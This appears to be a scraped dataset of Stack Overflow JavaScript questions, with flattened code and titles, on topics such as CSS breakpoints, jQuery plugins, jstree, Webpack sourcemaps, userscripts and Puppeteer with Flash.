( document ) .resize ( function ( ) { } ) but this does n't match up with my CSS breakpoints whether I use window , document or any other selector.Is there any way of just detecting when a media query is passed ? Here 's my current code : If there 's an easier way to know if the breakpoint has been passed upwards or downwards , I 'd be willing to hear it.Thankyou ! $ ( window ) .resize ( function ( ) { if ( $ ( window ) .width ( ) < 500 ) { $ ( window ) .trigger ( `` breakpoint-sm '' ) ; } if ( $ ( window ) .width ( ) < 900 ) { $ ( window ) .trigger ( `` breakpoint-md '' ) ; } } ) ; $ ( window ) .on ( `` breakpoint-md '' , function ( ) { if ( $ ( window ) .width ( ) < 900 ) { // this happens when below medium screen size alert ( `` breakpoint reached '' ) ; } } ) ; @ media screen and ( max-width : 500px ) { /* do mobile things */ } @ media screen and ( max-width : 900px ) { /* do mobile things */ } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script >",Trigger events when CSS breakpoints are reached JS : I 'm trying to grab the value of the style attribute before IE9-10 strips invalid values out . So far I 've tried every variation of the following - $ 0.attributes.style $ 0.style $ 0.getAttribute ( 'style ' ) But it seems if I try to set an invalid value I can not get access to it -All of the above would only return display : none since IE9-10 strips out the invalid values.As a note I have tried tons of variations so if it is not possible that is fine but have you tried or can you try answers do n't help much unless they are confirmed to do something : ) < div style= '' display : none ; color : $ { fake-value } '' > < /div >,How to get style attribute value before IE9 strips it "JS : Given that in JavaScriptprints : which means that Boolean objects are not dop-in substitutes for a boolean primitive in typical conditions like : And that JavaScript 's Set and Map collections permit any type , including primitives.What use are Boolean objects , in particular ; and the objects representing other primitive types in general , since they have all sort of weird in consistencies associated with them ? Note : I am specifically asking what are the use-cases ( if any ) , not how they are different from their primitive counterparts . console.log ( `` var F=new Boolean ( false ) '' ) console.log ( `` ( F ! = ( F==false ) ) '' , ( ( F ! = ( F==false ) ) ? `` TRUE '' : `` false '' ) ) ; console.log ( `` ( ! F ! = ( F==false ) ) '' , ( ( ! F ! = ( F==false ) ) ? `` TRUE '' : `` false '' ) ) ; ( F ! = ( F==false ) ) TRUE ( ! F ! = ( F==false ) ) TRUE if ( someBoolean ) ... // always trueif ( ! someBoolean ) ... // always false",What practical use is a Boolean object in Javascript ? "JS : I basically have this : so we have the pragmatik.parse method : now I want to use TypeScript to define types , all I know is that arguments is an Object : so my question is : does TypeScript give a definition or type for an arguments object in JS ? Sorry this is a bit meta , but please bear with me , what I am asking about is sane . function foo ( ) { // literally pass the arguments object into the pragmatik.parse method // the purpose of pragmatik.parse is to handle more complex variadic functions const [ a , b , c , d , e ] = pragmatik.parse ( arguments ) ; // now we have the correct arguments in the expected location , using array destructuring } function parse ( args ) { // return parsed arguments } function parse ( args : Object ) { }",Typeof arguments object in TypeScript "JS : There is a function in js which displays messages to the table ( messages are stored in json ) . In Google Chrome , it works , but Safari , Opera or Microsoft Edge - no ! There is a mistake in code which is associated with the call to setTimeout ( callback , 5000 ) ( nothing is sent to the callback ) .So , For ( var i = 0 ; i < respond.length ; i ++ ) will not work since respond === undefined . But why is it so ? ChromeOpera callback ( [ { `` time '' : `` 1500303264 '' , `` user '' : `` qwe '' , `` message '' : `` we '' , `` id '' : 1 } , { `` time '' : `` 1500303987 '' , `` user '' : `` Max '' , `` message '' : `` q '' , `` id '' : 2 } ] ) ; function smile ( mess ) { var smile = `` : ) '' ; var graficSmile = `` < img src = './image/Smile.png ' alt='Smile ' align='middle ' > '' ; var string_with_replaced_smile = mess.replace ( smile , graficSmile ) ; var sad = `` : ( `` var graficSad = `` < img src = './image/Sad.png ' alt='Smile ' align='middle ' > '' ; var string_with_replaced_smile_and_sad = string_with_replaced_smile.replace ( sad , graficSad ) ; return string_with_replaced_smile_and_sad ; } $ .getJSON ( 'data/messages.json ' , callback ) ; var exists = [ ] ; function callback ( respond ) { var timeNow = Date.now ( ) ; for ( var i = 0 ; i < respond.length ; i++ ) { var data = respond [ i ] ; if ( exists.indexOf ( data.id ) ! = -1 ) continue ; var timeInMessage = data.time * 1000 ; var diff_time = ( timeNow - timeInMessage ) ; if ( diff_time < = 3600000 ) { var rowClone = $ ( '.mess_hide ' ) .clone ( ) .removeClass ( 'mess_hide ' ) ; var newDate = new Date ( timeInMessage ) ; var dateArray = [ newDate.getHours ( ) , newDate.getMinutes ( ) , newDate.getSeconds ( ) ] var res = dateArray.map ( function ( x ) { return x < 10 ? `` 0 '' + x : x ; } ) .join ( `` : '' ) ; $ ( ' # messages ' ) .append ( rowClone ) ; $ ( '.time ' , rowClone ) .html ( res ) ; $ ( '.name ' , rowClone ) .html ( data.user ) ; $ ( '.message ' , rowClone ) .html ( smile ( data.message ) ) ; $ ( '.scroller ' ) .scrollTop ( $ ( ' # messages ' ) .height ( ) ) ; exists.push ( data.id ) ; } } setTimeout ( function ( ) { callback ( respond ) } , 5000 ) ; } .scroller { width : 490px ; height : 255px ; max-height : 255px ; overflow-y : auto ; overflow-x : hidden ; } table # messages { min-height : 260px ; width : 100 % ; background : # fffecd ; border : none ; } table # messages : :-webkit-scrollbar { width : 1em ; } table # messages : :-webkit-scrollbar-track { -webkit-box-shadow : inset 0 0 6px rgba ( 0 , 0 , 0 , 0.3 ) ; } table # messages : :-webkit-scrollbar-thumb { background-color : darkgrey ; outline : 1px solid slategrey ; } tr { height : 20 % ; display : block ; } td.time , td.name { width : 70px ; max-width : 75px ; text-align : center ; } td.name { font-weight : bold ; } form # text_submit { display : inline-flex ; align-items : flex-start ; } input # text { width : 370px ; height : 30px ; margin-top : 20px ; background : # fffecd ; font-family : 'Montserrat ' ; font-size : 16px ; border : none ; align-self : flex-start ; } input # submit { padding : 0 ; margin-left : 21px ; margin-top : 21px ; height : 30px ; width : 95px ; background : # 635960 ; border : none ; color : white ; font-family : 'Montserrat ' ; font-size : 16px ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < div class= '' scroller '' > < table id= '' messages '' > < tr class= '' mess_hide '' > < td class= '' time '' > < /td > < td class= '' name '' > < /td > < td class= '' message '' > < /td > < /tr > < /table > < /div > < form method= '' POST '' id= '' easyForm '' > < input type= '' text '' name= '' text '' id= '' text '' > < input type= '' submit '' value= '' Send '' id= '' submit '' > < /form > < /div >",Why does my code not work in Safari or Opera ? "JS : In JavaScript , is it possible to automatically replace a regular expression in a sentence with a randomly generated match of that regular expression ? I 'm trying to use this approach to automatically paraphrase a sentence using a list of regular expressions , like so : replaceWithRandomFromRegexes ( `` You are n't a crackpot ! You 're a prodigy ! `` , [ `` ( genius|prodigy ) '' , `` ( freak|loony|crackpot|crank|crazy ) '' , `` ( You 're |You are |Thou art ) '' , `` ( aren't|ain't|are not ) '' ] ) Here , each match of each regular expression in the input string should be replaced with a randomly generated match of the regular expression . function replaceWithRandomFromRegexes ( theString , theRegexes ) { //For each regex in theRegexes , replace the first match of the regex in the string with a randomly generated match of that regex . }",Automatically paraphrasing sentences in JavaScript "JS : Check this code : http : //jsfiddle.net/ZXN4S/1/HTML : jQuery : If you try to insert some text in the input field and click on the submit you can see the issue I 'm talking about . When it slides down the height of slide is wrong and the effect is ugly . But if you remove the div info it works well . How can I fix ? < div class= '' input '' > < input type= '' text '' size= '' 50 '' id= '' test_input '' > < input type= '' submit '' value= '' send '' id= '' test_submit '' > < /div > < ul > < li class= '' clear '' > < div class= '' comment '' > < div class= '' image '' > < img src= '' http : //www.chooseby.info/materiale/Alcantara-Black_granito_nero_naturale_lucido_3754.jpg '' > < /div > < div class= '' info '' > < div class= '' name '' > Name < /div > < div class= '' text '' > text < /div > < div class= '' timestamp '' > timestamp < /div > < /div > < /div > < /li > < /ul > $ ( document ) .ready ( function ( ) { $ ( `` # test_submit '' ) .click ( function ( ) { $ .post ( '/echo/json/ ' , function ( data ) { last = $ ( `` ul li : first-child '' ) ; new_line = last.clone ( ) ; new_line.hide ( ) ; last.before ( new_line ) ; new_line.slideDown ( 'slow ' ) ; } ) ; return false ; } ) ; } ) ;",Issue with jQuery 's slideDown ( ) "JS : How can I set the scope of the defined variables for JSHint to my whole project in WebStorm ? If I have multiple files and imports like jquery or Backbone I do n't need to see the error JSHint : 'Backbone ' is not defined. ( W117 ) . This is not only form my imported libraries , but also for my own external files.Some suggestions is that I should disable undefined errors , but this is the functionality that I want to use.I.E.In my main.js I have this : and in foo.js I have this : function Main ( ) { // Some epic code } Main.prototype.theBestFunctionEver = function ( awesome , stuff ) { return awesome + stuff ; } function init ( ) { var main = new Main ( ) ; // Shows that Main is undefined var wrongVar = 6 + unInited // This should always give me an error // Rest of init }",How to set the scope for defined variables in another file for JSHint in WebStorm ? "JS : I have two arrays that I am trying to combine in GAS , arr2 is multidimensional.What I want to do is push the elements of arr1 into arr2 at index 3 in each row , so it looks like : I have tried to use .map over arr2 to .Splice each row but could n't get it to work . Any help would be much appreciated ! arr1 = [ `` Diesel '' , `` Solar '' , `` Biomass '' ] arr2 = [ [ `` ABC '' , `` Nigeria '' , `` Diesel , Solar '' , 35 ] , [ `` DEF '' , `` Egypt '' , `` Solar , Diesel '' , 50 ] , [ `` GHI '' , `` Ghana '' , `` Biomass , Diesel '' , 70 ] ] newArr = [ [ `` ABC '' , `` Nigeria '' , `` Diesel , Solar '' , `` Diesel '' , 35 ] , [ `` DEF '' , `` Egypt '' , `` Solar , Diesel '' , `` Solar '' , 50 ] , [ `` GHI '' , `` Ghana '' , `` Biomass , Diesel '' , `` Biomass '' , 70 ] ]",How to insert multiple elements into the same index in a multidimensional array ? "JS : I just made a dropdown menu with jQuery and a little bitspecial html structure.This is how my structure looks like.And this is the jsFiddle , which was created : https : //jsfiddle.net/rxLg0bo4/10/But I want it to work like a proper dropdown menu . So that means it should show the submenu_link when you hover over the menu . f.e . if you hover over the menu_link q , the the submenu_link 1-5 should dropdown.This is the jQuery : And this is my ASP.NET code : Can i do this with the nth-child anyhow ? I would also like the have the links in a list style how can I do that ? $ ( document ) .ready ( function ( ) { $ ( '.menu_link ' ) .ready ( function ( ) { $ ( `` [ id $ =pnlSubmenu ] '' ) .hide ( ) ; } ) ; $ ( '.menu_link ' ) .hover ( function ( ) { $ ( `` [ id $ =pnlSubmenu ] '' ) .slideDown ( 200 ) ; } ) ; $ ( ' [ id $ =pnlSubmenu ] ' ) .mouseenter ( function ( ) { $ ( this ) .show ( ) ; } ) ; $ ( ' [ id $ =pnlSubmenu ] ' ) .mouseleave ( function ( ) { $ ( this ) .hide ( ) ; } ) ; $ ( '.menu_link ' ) .mouseleave ( function ( ) { $ ( `` [ id $ =pnlSubmenu ] '' ) .hide ( ) ; } ) ; } ) ; < nav id= '' menu '' > < asp : Panel ID= '' pnlMenu '' runat= '' server '' > < /asp : Panel > < asp : Panel ID= '' pnlSubmenu '' runat= '' server '' > < asp : ContentPlaceHolder ID= '' ContentPlaceHolder1 '' runat= '' server '' > < /asp : ContentPlaceHolder > < /asp : Panel > < /nav >",Dropdown menu with jQuery and nth-child "JS : I 've been looking everywhere and I ca n't seem to find a reliable mouseenter event . The closest I found was : mouseenter without JQueryThe only issue is that when i run it : I get 40-47ish ( different every time ) executions at once each time the listener fires . I tried the Quirksmode one too : http : //www.quirksmode.org/js/events_mouse.html # mouseenterHowever this one was extremely unreliable and not only that , it assumed the parent/element was a DIV . This has to be more dynamic . This is for a library/script so I ca n't include jQuery.In short , I have an element that is hidden until the mouse moves . Once it moves it appears for as long as the mouse is moving OR if the mouse is hovering over the element itself . Less code would be awesome simply because only WebKit does n't support mouseenter natively and it feels like a waste to have that huge chunk of code from the first example just to support Chrome for a small UI thing . function contains ( container , maybe ) { return container.contains ? container.contains ( maybe ) : ! ! ( container.compareDocumentPosition ( maybe ) & 16 ) ; } var _addEvent = window.addEventListener ? function ( elem , type , method ) { elem.addEventListener ( type , method , false ) ; } : function ( elem , type , method ) { elem.attachEvent ( 'on ' + type , method ) ; } ; var _removeEvent = window.removeEventListener ? function ( elem , type , method ) { elem.removeEventListener ( type , method , false ) ; } : function ( elem , type , method ) { elem.detachEvent ( 'on ' + type , method ) ; } ; function _mouseEnterLeave ( elem , type , method ) { var mouseEnter = type === 'mouseenter ' , ie = mouseEnter ? 'fromElement ' : 'toElement ' , method2 = function ( e ) { e = e || window.event ; var related = e.relatedTarget || e [ ie ] ; if ( ( elem === e.target || contains ( elem , e.target ) ) & & ! contains ( elem , related ) ) { method ( ) ; } } ; type = mouseEnter ? 'mouseover ' : 'mouseout ' ; _addEvent ( elem , type , method2 ) ; return method2 ; } _mouseEnterLeave ( ele , 'mouseenter ' , function ( ) { console.log ( 'test ' ) ; } ) ; function doSomething ( e ) { if ( ! e ) var e = window.event ; var tg = ( window.event ) ? e.srcElement : e.target ; if ( tg.nodeName ! = 'DIV ' ) return ; var reltg = ( e.relatedTarget ) ? e.relatedTarget : e.toElement ; while ( reltg ! = tg & & reltg.nodeName ! = 'BODY ' ) reltg= reltg.parentNode if ( reltg== tg ) return ; // Mouseout took place when mouse actually left layer // Handle event }",Reliable `` mouseenter '' without jQuery "JS : I am trying to write a JQuery plugin called grid2carousel which takes some content in a Bootstrap-style grid on desktop devices and becomes a carousel on smaller screens.The plugin works fine if it is the only instance of it on a page but runs into some problems if there are more than one . I have created a Codepen here to demonstrate the issue : http : //codepen.io/decodedcreative/pen/BzdBpbTry commenting out one of the components in the HTML section of the codepen , resizing the browser til it becomes a carousel , and then repeating this process again with it uncommentedThe plugin works by running an internal function called SetupPlugin every time the browser width is below a breakpoint specified in a data attribute in the HTML . If the browser width exceeds this breakpoint a function called DestroyPlugin reverts the HTML back to its original state . Like so : Below is my plugin code in its entirety . Could someone give me a pointer as to what I 'm doing wrong here ? Many thanks , James checkDeviceState = function ( ) { if ( $ ( window ) .width ( ) > breakpointValue ) { destroyPlugin ( ) ; } else { if ( ! $ element.hasClass ( 'loaded ' ) ) { setupPlugin ( ) ; } } } , ( function ( window , $ ) { $ .grid2Carousel = function ( node , options ) { var options = $ .extend ( { slidesSelector : '.g2c-slides ' , buttonsSelector : '.g2c-controls .arrow ' } , { } , options ) , $ element = $ ( node ) , elementHeight = 0 , $ slides = $ element.find ( options.slidesSelector ) .children ( ) , $ buttons = $ element.find ( options.buttonsSelector ) , noOfItems = $ element.children ( ) .length + 1 , breakpoint = $ element.data ( `` bp '' ) , breakpointValue = 0 ; switch ( breakpoint ) { case `` sm '' : breakpointValue = 767 ; break ; case `` md '' : breakpointValue = 991 ; break ; case `` lg '' : breakpointValue = 1199 ; break ; } setupPlugin = function ( ) { // Add loaded CSS class to parent element which adds styles to turn grid layout into carousel layout $ element.addClass ( `` loaded '' ) ; // Get the height of the tallest child element elementHeight = getTallestInCollection ( $ slides ) // As the carousel slides are stacked on top of each other with absolute positioning , the carousel does n't have a height . Set its height using JS to the height of the tallest item ; $ element.height ( elementHeight ) ; // Add active class to the first slide $ slides.first ( ) .addClass ( 'active ' ) ; $ buttons.on ( `` click '' , changeSlide ) ; } , destroyPlugin = function ( ) { $ element.removeClass ( `` loaded '' ) ; $ element.height ( `` auto '' ) ; $ buttons.off ( `` click '' ) ; $ slides.removeClass ( `` active '' ) ; } , checkDeviceState = function ( ) { if ( $ ( window ) .width ( ) > breakpointValue ) { destroyPlugin ( ) ; } else { if ( ! $ element.hasClass ( 'loaded ' ) ) { setupPlugin ( ) ; } } } , changeSlide = function ( ) { var $ activeSlide = $ slides.filter ( `` .active '' ) , $ nextActive = null , prevSlideNo = $ activeSlide.prev ( ) .index ( ) + 1 , nextSlideNo = $ activeSlide.next ( ) .index ( ) + 1 ; if ( $ ( this ) .hasClass ( 'left ' ) ) { if ( prevSlideNo ! == 0 ) { $ nextActive = $ activeSlide.prev ( ) ; $ nextActive.addClass ( 'active ' ) ; $ slides.filter ( `` .active '' ) .not ( $ nextActive ) .removeClass ( `` active '' ) ; } else { $ nextActive = $ slides.last ( ) ; $ nextActive.addClass ( 'active ' ) ; $ slides.filter ( `` .active '' ) .not ( $ nextActive ) .removeClass ( `` active '' ) ; } } else if ( $ ( this ) .hasClass ( 'right ' ) ) { if ( nextSlideNo ! == 0 ) { $ nextActive = $ activeSlide.next ( ) ; $ nextActive.addClass ( 'active ' ) ; $ slides.filter ( `` .active '' ) .not ( $ nextActive ) .removeClass ( `` active '' ) ; } else { $ nextActive = $ slides.first ( ) ; $ nextActive.addClass ( 'active ' ) ; $ slides.filter ( `` .active '' ) .not ( $ nextActive ) .removeClass ( `` active '' ) ; } } } , getTallestInCollection = function ( collection ) { $ ( collection ) .each ( function ( ) { if ( $ ( this ) .outerHeight ( ) > elementHeight ) { elementHeight = $ ( this ) .outerHeight ( ) ; } } ) ; return elementHeight ; } ; setupPlugin ( ) ; checkDeviceState ( ) ; $ ( window ) .on ( `` resize '' , checkDeviceState ) ; } $ .fn.grid2Carousel = function ( options ) { this.each ( function ( index , node ) { $ .grid2Carousel ( node , options ) } ) ; return this } } ) ( window , jQuery ) ;",JQuery plugin not working when used multiple times in a page "JS : I have jstree plugin I simply fill this plugin by selected node and post data with ajax in node-select method . Althouh I make a control with `` letChangeTrig '' it call himself onChamge method recursively due to I refrest tree.. but I want to call this when user select only..refresh : and this is my jstree refresh function which trigg the onChange method.. and post data.. after response back to success I call this again to rebuil tree with changed data but in this way it begins to call himself without users select evet and it fall into loop.. I need to stop it by logical control $ ( ' # tree_2 ' ) .jstree ( { } ) .on ( 'changed.jstree ' , function ( e , datap ) { debugger if ( ! letChangeTrig ) { letChangeTrig = true ; return ; } $ .ajax ( { url : `` ../../Controller/ActiveDirectoryController.php5 '' , type : `` POST '' , dataType : `` json '' , data : params , success : function ( result ) { treeData_ = prepareObjectsforTree ( result.Objects ) ; resfreshJSTree ( treeData_ ) ; } , error : function ( a , b , c ) { } } ) ; } ) ; function resfreshJSTree ( treeDataa ) { letChangeTrig = false ; $ ( ' # tree_2 ' ) .jstree ( true ) .settings.core.data = treeDataa ; $ ( ' # tree_2 ' ) .jstree ( true ) .refresh ( ) ; }",stop jquery onChange recursive iteration "JS : Given the following tree structure , where each player logged in can have data for current and completed levels , quests per level , NPCs per quest , and multiple tasks per NPC ... I 'm trying to figure out the best way to store the current and completed data per player.I asked the question before , albeit with too much detail . It was requested that I generalize the question ... So if you 'd like more context , see here : RPG - storing player data for semi-complex tree structureSome information about my RPG structure : Levels , Quests per Level , and Tasks per NPC are completed in chronological order.NPC dialog and task dialog data is stored in a js object in a npc_dialog_1.js file in the following structure : I am storing each dialog object in a separate npc_dialog_n.js file per map , that I 'm retrieving with requireJS . This will reduce clutter in a single npc_dialog file.NPCs per Quest , however , can be started in any order ... this is trying to mimic a GTA-style quest queue , as the game follows a general linear progression , yet for each quest you can talk to multiple NPCs and start , pause , and resume the NPC 's tasks at any point.Since the player can start , pause , and resume tasks per any NPC at a given time , I 'm trying to figure out the best way to store the current and completed data per player.mfirdaus recommended the following DB table with M : M relationship b/t user & npc ... yet this would add up quickly as each player can have multiple NPCs per quest , and multiple tasks started per NPC ... Any way around this set up ? My current db schema : Thank you var dialog = { quests : { questName : { NPCName : { TaskName : { `` english '' : [ `` Hello , here is some dialog '' , ] , //more items per task } , //more tasks per NPC } , //more NPCs per quest } , //more quests options per `` quests '' } , //more options in dialog besides `` quests '' if I want } ;",RPG - storing player data "JS : I would like to ask if it is possible to build Chrome or Greasemonkey script witch could open all popups in queue . So far i have 2 seperate scripts for this , but that is not working well since popups have anti-spam feature that do n't allow too much of them at the same time.What i would like to do is to process array of popup links in queue fashion and only open next when previous is closed . I have no expirience when it goes down to queues and any kind of event binding.So resources i got:1 ) Array of links already prepared2 ) Script that votes on image in popupAs far as i can understand it should go like this:1 ) Get all unvoted urls and form array ( done ) 2 ) Queue all popups to open3 ) Start first popup4 ) Voting done and popup closes ( done ) 5 ) Start second popup6 ) When array finished switch to next page ( done ) What you think ? var URL_Array = [ ] ; $ ( 'form [ name= '' form_gallery '' ] .img img ' ) .each ( function ( i , e ) { // Format URL array here if ( $ ( this ) .closest ( '.object ' ) .children ( '.phs_voted_count ' ) .length == 0 ) { var string = e.src ; var nowBrake = string.substring ( string.length-7,7 ) ; var splited = nowBrake.split ( '/ ' ) ; var urlStr = '/window/friend/gallery_view/'+splited [ 3 ] +'/'+splited [ 4 ] +'.html ' ; URL_Array [ i ] = urlStr ; } } ) ; /* # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # */ var voteBy = ' # vte_mark_12 ' ; // Prefered vote icon var voteDefault = ' # vte_mark_5 ' ; // Default vote icon var voteFormLoc = 'image_voting ' ; // Image voting popups form var buyExtraVote = 'image_voting_buy ' ; // If run out of votes buy more var captchaLoc = 'input [ name= '' captcha '' ] ' ; // Captcha input field var captchaTxt = 'Enter captcha text ! ' ; // Captcha alert text var simpatyFormId = ' # sym_send ' ; // Simpaty window form var startScript = true ; var formProcessedAlready = false ; // Used to check if image already was voted /* # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # */ $ ( function ( ) { if ( startScript ) { if ( $ ( captchaLoc ) .length > 0 ) { alert ( captchaTxt ) ; $ ( captchaLoc ) .focus ( ) .css ( 'border ' , '2px solid red ' ) ; return false ; } else { if ( $ ( ' # 50 ' ) .length > 0 ) { $ ( ' # 50 ' ) .attr ( 'checked ' , true ) ; $ ( 'form ' ) .attr ( 'id ' , buyExtraVote ) ; $ ( ' # '+buyExtraVote ) .submit ( ) ; } else { $ ( 'form ' ) .attr ( 'id ' , voteFormLoc ) ; if ( $ ( voteBy ) .length > 0 ) { $ ( voteBy ) .attr ( 'checked ' , true ) ; setTimeout ( `` $ ( ' # '' +voteFormLoc+ '' ' ) .submit ( ) '' , 2000 ) ; } else if ( $ ( voteDefault ) .length > 0 ) { $ ( voteDefault ) .attr ( 'checked ' , true ) ; setTimeout ( `` $ ( ' # '' +voteFormLoc+ '' ' ) .submit ( ) '' , 2000 ) ; } else { // If we have simpaty box autocast submit if ( $ ( simpatyFormId ) .length > 0 ) { if ( $ ( captchaLoc ) .length > 0 ) { alert ( captchaTxt ) ; $ ( captchaLoc ) .focus ( ) .css ( 'border ' , '2px solid red ' ) ; return false ; } else { $ ( simpatyFormId ) .submit ( ) ; formProcessedAlready = true ; } } else { formProcessedAlready = true ; } } } } if ( formProcessedAlready ) { self.close ( ) ; } } } ) ;",jQuery queue in Chrome userscript with popups ? "JS : I have an object set like this for that , first , I will check the length of the object.Now I want to convert it into proper object key-value format under array . Something Like this : Now I do n't know how to do code for solving the problem like this.Any help is Appreciated var total = { 'Apple ' : 0.6 , 'Banana ' : 0.6 , 'Orange ' : 1 , 'Grapes ' : 0.4 , 'Pineapple ' : 0.4 } var len = Object.keys ( total ) .length ; [ { 'name ' : 'Apple ' , 'value ' : 0.6 } , { 'name ' : 'Banana ' , 'value ' : 0.6 } , { 'name ' : 'Orange ' , 'value ' : 1 } , { 'name ' : 'Grapes ' , 'value ' : 0.4 } , { 'name ' : 'Pineapple ' , 'value ' : 0.4 } ]",Insert object on array in key value format "JS : I have a parent < div > with one child < div > in memory - not attached to the current document . I want to trigger a CustomEvent on the child but listen to that event from the parent . Here is my code : This code does n't work as expected . The event listener on the parent never fires . This seems to be a contradiction of the JavaScript event system whereby events bubble up from the target . However , if I modify the final two lines of this snippet to the following , the callback fires as I would expect it to : In other words , if I append my fragment as a subtree of the document before dispatching the event , then the parent event listener fires exactly as expected . Why ? Is there a way to allow bubbling when using detached DOM elements ? var parent = document.createElement ( 'div ' ) ; var child = document.createElement ( 'div ' ) ; parent.appendChild ( child ) ; parent.addEventListener ( 'boom ' , function ( event ) { console.log ( 'parent listener ' , event ) ; // < ~ This never runs ! } ) ; var event = new CustomEvent ( 'boom ' , { bubbles : true } ) ; child.dispatchEvent ( event ) ; document.body.appendChild ( parent ) ; child.dispatchEvent ( event ) ;",Why does n't event bubbling work in detached DOM elements ? "JS : I am getting base64 string from node JavaScript back-end . But it is not working like Chrome.I ca n't find any solutions in web . Getting 200 status in API call but it is not downloading file in Firefox while same code working fine with Chrome.Here is my code : :I am getting all the data from Node.js and working fine with Chrome . So I ca n't find any issue why it is not working with Firefox . static downloadFile ( fileName : string , fileMimeType : string , uri : string ) { const dataURI = uri ; const blob = this.dataURIToBlob ( dataURI ) ; const url = URL.createObjectURL ( blob ) ; const blobAnchor = document.createElement ( ' a ' ) ; const dataURIAnchor = document.createElement ( ' a ' ) ; blobAnchor.download = dataURIAnchor.download = fileName ; blobAnchor.href = url ; dataURIAnchor.href = dataURI ; blobAnchor.onclick = function ( ) { requestAnimationFrame ( function ( ) { URL.revokeObjectURL ( url ) ; } ) ; } ; blobAnchor.click ( ) ; } static dataURIToBlob ( dataURI ) { const binStr = atob ( dataURI.split ( ' , ' ) [ 1 ] ) , len = binStr.length , arr = new Uint8Array ( len ) , mimeString = dataURI.split ( ' , ' ) [ 0 ] .split ( ' : ' ) [ 1 ] .split ( ' ; ' ) [ 0 ] ; for ( let i = 0 ; i < len ; i++ ) { arr [ i ] = binStr.charCodeAt ( i ) ; } return new Blob ( [ arr ] , { type : mimeString } ) ; }",Download PDF not working with Firefox using Angular 2 and Node.js "JS : I decided to try out WebPack on a new project I 'm spinning up today and I 'm getting really strange behavior from the sourcemaps . I ca n't find anything about it in the documentation , nor can I find anyone else having this issue when skimming StackOverflow.I 'm currently looking at the HelloWorld app produced by Vue-CLI 's WebPack template -- no changes have been made to the code , the build environment , or anything.I installed everything and ran it like so : Looking at my sourcemaps , I see the following : This is a hot mess . Why are there three version of HelloWorld.vue and App.vue ? Worse yet , each version has a slightly different version of the code and none of them match the original source . The HellowWorld.vue sitting in the root directory does match the original source , but what 's it doing down there instead of in the ./src/components folder ? Finally , why is n't there a fourth App.vue that has the original source for it ? As far as I can tell this may have something to do with the WebPack loaders . I 've never gotten these kinds of issues with any other bundler , though . Below is an example of the exact same steps using the Browserify Vue-CLI template : No webpack : // schema , only one copy of every file , the files actually contain the original source code ( kind of important for source maps ) , no unexpected ( webpack ) /buildin or ( webpack ) -hot-middleware , no . subdirectory , ... . just the source code . vue init webpack test & & cd test & & npm install & & npm run dev",WebPack sourcemaps confusing ( duplicated files ) "JS : I 'm fine with the pure function concept on pretty simple examples like ... Given the same arguments , it yields the same result , leading to Referential Transparency and good deterministic code.But then I 've came across examples like these ( taken from professor frisby mostly adequate guide , but I 've found similar examples on other FP JS books ) and I do n't get why is n't considered an external dependency ( so , impure ) the call to saveUser or welcomeUser.I know that from a function/IO point of view , signUp always return the `` same '' ( an equivalent ) wired function , but it feels weird to me.It 's difficult to me to understand why evenis considered pure . From the returned function POV , accesing to times is a lookup on the scope-chain , it could come from the immediate outer scope , or from beyond ( like global scope ) .Any one wants to bring some light to this ? function addTwo ( val ) { return val + 2 ; } //purevar signUp = function ( Db , Email , attrs ) { return function ( ) { var user = saveUser ( Db , attrs ) ; welcomeUser ( Email , user ) ; } ; } ; var saveUser = function ( Db , attrs ) { ... } ; var welcomeUser = function ( Email , user ) { ... } ; function multiplyBy ( times ) { return value = > value * times ; } const fiveTimes = multiplyBy ( 5 ) ; fiveTimes ( 10 ) ;",Why this implementation of a pure function is n't considered to have external dependencies ? "JS : I 'm developing backbone app , which makes crossdomain restful request . The nested data structure in request are required , in the curl request I have that structure : In the model I have not nested structure and this is pretty comfortable , because I use image model field in the view ( DOM element creation ) .What the correct way to send nested data to server from Backbone app ? Model : The part of view , which use image model property : The part of another view , which send data to server . { `` site_id '' : 1 , `` post '' : { `` site_id '' : 1 , `` provider_id '' : 1 , `` provider_post_id '' :1 , `` created_ts '' : `` 12.12.12 '' , `` post '' : { `` header '' : `` text '' , `` caption '' : `` text '' , `` image '' : `` http : // ... jpg '' } } } var WraperModel = Backbone.Model.extend ( { url : 'http : //mydomain/core/api/v1/bookmarklet_post/ ? callback= ? ' , defaults : { site_id : 1 , // should n't be hardcoded type : '' type '' , site_id:2 , provider_id : 2 , provider_post_id : 2 , created_ts:2 , header : `` , caption : `` , image : `` } , } ) ; drawItem : function ( model ) { var inst = new ImageView ( { model : model , tagName : 'li ' , className : 'images-item ' } ) .render ( ) ; this.imagesWrapper.append ( inst.el ) ; } , getImages : function ( ) { var images = doc.getElementsByTagName ( 'img ' ) , view = this ; _.each ( images , function ( image ) { image.offsetHeight > 75 & & image.offsetWidth > 75 & & view.collection.add ( { image : image.src } ) ; } ) ; } , sendTo : function ( ) { var that = this , data = { saving : true } ; $ ( ' # add-header ' ) .val ( ) & & ( data.header = $ ( ' # add-header ' ) .val ( ) ) ; $ ( ' # add-description ' ) .val ( ) & & ( data.caption = $ ( ' # add-description ' ) .val ( ) ) ; this.model.set ( data ) ; this.model.save ( ) ; }",Backbone model : nested data structure "JS : Disclaimer : I know that Flash will be abandoned by the end of 2020 , but I simply can not drop the case and need to have flash in Puppeteer , though I do n't like it either.I need to crawl certain flash sites and take a screenshot of them , for later programatic comparison . I could provide a finite list of domains that I need to check against ( though the list may change in time , so it 'd be great to be able to somehow load them at the runtime ) .Been searching through the Internet after solutions for a while now , the closest I got in matter of SA question is this : how to add urls to Flash white list in puppeteerI managed to get Flash sites be properly recognized after using puppeteer-extra-plugin-flash , providing path and version for PepperFlash and running Chrome executable instead of Chromium , but I still need to click the greyed out puzzle to allow flash to be run on any website.I just ca n't find a solution that will work in July 2019.I 've tried using various arguments : And bunch of more , possibly unrelated . The approach that seems most successful for other people seems to be using PluginsAllowedForUrls and providing a list of urls with wildcards , then loading predefined profile via -- user-data-dir - but I had not luck in that matter either ( I have issues with preparing proper profile I suppose ) .This tool that I am building will not be public and be used only internally , by educated team - so I do n't have too much security constrains to care about . I simply need the Flash in puppeteer . I also do not need to care about Dockerizing it . My current setup , simplified : Chrome version : 75.0.3770.100 , puppeteer-extra : 2.1.3puppeteer-extra-plugin-flash : 2.13Any kind of guidance is appreciated , and some working 